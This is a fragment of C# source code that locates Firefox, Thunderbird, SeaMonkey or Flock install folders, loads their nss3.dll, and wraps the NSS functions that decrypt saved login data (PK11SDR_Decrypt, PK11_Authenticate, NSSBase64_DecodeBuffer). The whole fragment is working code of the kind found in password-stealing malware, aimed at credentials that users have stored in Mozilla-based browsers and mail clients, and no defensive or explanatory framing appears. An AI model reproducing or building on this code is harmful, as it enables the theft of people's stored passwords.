public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx) => CreateAPI <DLLFunctionDelegate5>(NSS3, "PK11SDR_Decrypt")(ref data, ref result, cx);
public static long PK11_GetInternalKeySlot() => CreateAPI <DLLFunctionDelegate2>(NSS3, "PK11_GetInternalKeySlot")();
public static long PK11_Authenticate(long slot, bool loadCerts, long wincx) => CreateAPI <DLLFunctionDelegate3>(NSS3, "PK11_Authenticate")(slot, loadCerts, wincx);
public static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen) => CreateAPI <DLLFunctionDelegate4>(NSS3, "NSSBase64_DecodeBuffer")(arenaOpt, outItemOpt, inStr, inLen);
public static long NSS_Shutdown() => CreateAPI <DLLFunctionDelegate6>(NSS3, "NSS_Shutdown")();
public static long NSS_Init(string configdir) { string path = ""; if (Directory.Exists(Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\")) { path = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\"; } if (is64BitOperatingSystem && Directory.Exists(Environment.GetEnvironmentVariable("PROGRAMFILES(x86)") + @"\Mozilla Firefox\")) { path = Environment.GetEnvironmentVariable("PROGRAMFILES(x86)") + @"\Mozilla Firefox\"; } string str4 = ""; if (Directory.Exists(Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Thunderbird\")) { str4 = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Thunderbird\"; } if (is64BitOperatingSystem && Directory.Exists(Environment.GetEnvironmentVariable("PROGRAMFILES(x86)") + @"\Mozilla Thunderbird\")) { str4 = Environment.GetEnvironmentVariable("PROGRAMFILES(x86)") + @"\Mozilla Thunderbird\"; } string str3 = ""; if (Directory.Exists(Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\SeaMonkey\")) { str3 = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\SeaMonkey\"; } if (is64BitOperatingSystem && Directory.Exists(Environment.GetEnvironmentVariable("PROGRAMFILES(x86)") + @"\SeaMonkey\")) { str3 = Environment.GetEnvironmentVariable("PROGRAMFILES(x86)") + @"\SeaMonkey\"; } string str = ""; if (Directory.Exists(Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Flock\")) { str = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Flock\"; } if (is64BitOperatingSystem && Directory.Exists(Environment.GetEnvironmentVariable("PROGRAMFILES(x86)") + @"\Flock\")) { str = Environment.GetEnvironmentVariable("PROGRAMFILES(x86)") + @"\Flock\"; } if (Directory.Exists(path)) { hModuleList.Add(LoadLibrary(path + @"\msvcr100.dll")); hModuleList.Add(LoadLibrary(path + @"\msvcp100.dll")); hModuleList.Add(LoadLibrary(path + @"\msvcr120.dll")); hModuleList.Add(LoadLibrary(path + @"\msvcp120.dll")); hModuleList.Add(LoadLibrary(path + @"\msvcp140.dll")); hModuleList.Add(LoadLibrary(path + @"\msvcp140.dll")); hModuleList.Add(LoadLibrary(path + @"\vcruntime140.dll")); hModuleList.Add(LoadLibrary(path + Convert.ToString("mozglue.dll"))); NSS3 = LoadLibrary(path + Convert.ToString("nss3.dll")); hModuleList.Add(NSS3); return(CreateAPI <DLLFunctionDelegate>(NSS3, "NSS_Init")(configdir)); } if (Directory.Exists(str4)) { hModuleList.Add(LoadLibrary(str4 + @"\msvcr100.dll")); hModuleList.Add(LoadLibrary(str4 + @"\msvcp100.dll")); hModuleList.Add(LoadLibrary(str4 + @"\msvcr120.dll")); hModuleList.Add(LoadLibrary(str4 + @"\msvcp120.dll")); hModuleList.Add(LoadLibrary(str4 + @"\msvcp140.dll")); hModuleList.Add(LoadLibrary(str4 + @"\msvcp140.dll")); hModuleList.Add(LoadLibrary(str4 + @"\vcruntime140.dll")); hModuleList.Add(LoadLibrary(str4 + Convert.ToString("mozglue.dll"))); NSS3 = LoadLibrary(str4 + Convert.ToString("nss3.dll")); hModuleList.Add(NSS3); return(CreateAPI <DLLFunctionDelegate>(NSS3, "NSS_Init")(configdir)); } if (Directory.Exists(str3)) { hModuleList.Add(LoadLibrary(str3 + @"\msvcr100.dll")); hModuleList.Add(LoadLibrary(str3 + @"\msvcp100.dll")); hModuleList.Add(LoadLibrary(str3 + @"\msvcr120.dll")); hModuleList.Add(LoadLibrary(str3 + @"\msvcp120.dll")); hModuleList.Add(LoadLibrary(str3 + @"\msvcp140.dll")); hModuleList.Add(LoadLibrary(str3 + @"\msvcp140.dll")); hModuleList.Add(LoadLibrary(str3 + @"\vcruntime140.dll")); hModuleList.Add(LoadLibrary(str3 + Convert.ToString("mozglue.dll"))); NSS3 = LoadLibrary(str3 + Convert.ToString("nss3.dll")); hModuleList.Add(NSS3); return(CreateAPI <DLLFunctionDelegate>(NSS3, "NSS_Init")(configdir)); } if (Directory.Exists(str)) { hModuleList.Add(LoadLibrary(str + @"\msvcr100.dll")); hModuleList.Add(LoadLibrary(str + @"\msvcp100.dll")); hModuleList.Add(LoadLibrary(str + @"\msvcr120.dll")); hModuleList.Add(LoadLibrary(str + @"\msvcp120.dll")); hModuleList.Add(LoadLibrary(str + @"\msvcp140.dll")); hModuleList.Add(LoadLibrary(str + @"\msvcp140.dll")); hModuleList.Add(LoadLibrary(str + @"\vcruntime140.dll")); hModuleList.Add(LoadLibrary(str + Convert.ToString("mozglue.dll"))); NSS3 = LoadLibrary(str + Convert.ToString("nss3.dll")); hModuleList.Add(NSS3); return(CreateAPI <DLLFunctionDelegate>(NSS3, "NSS_Init")(configdir)); } return(0L); }